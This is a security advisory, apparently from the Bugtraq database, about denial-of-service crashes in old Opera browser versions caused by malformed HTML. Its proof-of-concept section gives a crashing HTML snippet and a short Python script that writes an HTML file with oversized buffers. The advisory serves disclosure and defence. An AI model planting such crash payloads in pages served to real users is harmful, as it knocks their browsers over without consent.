Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

BID:15124

Info

Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

Bugtraq ID: 15124
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Oct 17 2005 12:00AM
Updated: Dec 20 2006 10:38PM
Credit: [email protected] discovered these issues.
Vulnerable: Opera Software Opera Web Browser 8.0 2
Opera Software Opera Web Browser 8.0 1
Opera Software Opera Web Browser 8.0
Opera Software Opera Web Browser 7.54
Opera Software Opera Web Browser 7.53
Opera Software Opera Web Browser 7.52
Opera Software Opera Web Browser 7.51
Opera Software Opera Web Browser 7.50
Opera Software Opera Web Browser 7.23
Opera Software Opera Web Browser 7.22
Opera Software Opera Web Browser 7.21
Opera Software Opera Web Browser 7.20 Beta 1 build 2981
Opera Software Opera Web Browser 7.20
Opera Software Opera Web Browser 7.11 j
Opera Software Opera Web Browser 7.11 b
Opera Software Opera Web Browser 7.11
Opera Software Opera Web Browser 7.10
Opera Software Opera Web Browser 7.0 win32 Beta 2
Opera Software Opera Web Browser 7.0 win32 Beta 1
Opera Software Opera Web Browser 7.0 win32
Opera Software Opera Web Browser 7.0 3win32
Opera Software Opera Web Browser 7.0 2win32
Opera Software Opera Web Browser 7.0 1win32
Opera Software Opera Web Browser 6.10 linux
Opera Software Opera Web Browser 6.0.5 win32
Opera Software Opera Web Browser 6.0.4 win32
Opera Software Opera Web Browser 6.0.3 win32
Opera Software Opera Web Browser 6.0.3 linux
Opera Software Opera Web Browser 6.0.2 win32
Opera Software Opera Web Browser 6.0.2 linux
Opera Software Opera Web Browser 6.0.1 win32
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server
- Microsoft Windows 95
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6
- Microsoft Windows NT Enterprise Server 4.0 SP6
- Microsoft Windows NT Enterprise Server 4.0 SP5
- Microsoft Windows NT Enterprise Server 4.0 SP5
- Microsoft Windows NT Enterprise Server 4.0 SP4
- Microsoft Windows NT Enterprise Server 4.0 SP4
- Microsoft Windows NT Enterprise Server 4.0 SP3
- Microsoft Windows NT Enterprise Server 4.0 SP3
- Microsoft Windows NT Enterprise Server 4.0 SP2
- Microsoft Windows NT Enterprise Server 4.0 SP2
- Microsoft Windows NT Enterprise Server 4.0 SP1
- Microsoft Windows NT Enterprise Server 4.0 SP1
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6
- Microsoft Windows NT Server 4.0 SP6
- Microsoft Windows NT Server 4.0 SP5
- Microsoft Windows NT Server 4.0 SP5
- Microsoft Windows NT Server 4.0 SP4
- Microsoft Windows NT Server 4.0 SP4
- Microsoft Windows NT Server 4.0 SP3
- Microsoft Windows NT Server 4.0 SP3
- Microsoft Windows NT Server 4.0 SP2
- Microsoft Windows NT Server 4.0 SP2
- Microsoft Windows NT Server 4.0 SP1
- Microsoft Windows NT Server 4.0 SP1
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
- Microsoft Windows XP Home
- Microsoft Windows XP Professional
- Microsoft Windows XP Professional
Opera Software Opera Web Browser 6.0.1 linux
Opera Software Opera Web Browser 6.0.1
Opera Software Opera Web Browser 6.0 win32
Opera Software Opera Web Browser 6.0 6
Opera Software Opera Web Browser 6.0 .6win32
Opera Software Opera Web Browser 6.0
Opera Software Opera Web Browser 5.12 win32
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 95
- Microsoft Windows 98 SP1
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.12
Opera Software Opera Web Browser 5.1 1 win32
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.1 0 win32
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.0 Linux
Opera Software Opera Web Browser 5.0 2 win32
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.0 Mac
Opera Software Opera Web Browser 8 Beta 3
Not Vulnerable:

Discussion

Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

The Opera Web browser is prone to multiple vulnerabilities that may result in a browser crash. These issues are exposed when the browser tries to parse certain malformed HTML content. Presumably, the issues will cause only a denial of service and are not further exploitable to execute arbitrary code, but this has not been confirmed.

Exploit / POC

Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

The following examples will cause the browser to crash:

The first example is malformed HTML:

<html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html>

The second example is python code to create malformed HTML:

html = open("opera.html", "w")
html.write("<html style=\"content: url(0);\">\n")
html.write("<head></head>\n")
buff1 = 'A'*32499
html.write("<bodyA>\n"+buff1+"\n")
buff2 = 'B'*153
html.write("<u "+buff2+">\n")
html.write("</body></html>")
html.close()

Solution / Fix

Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

Solution:
Reportedly, these issues have been addressed in Opera 9.0 Technology Preview 2. Symantec could not confirm this.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

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Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

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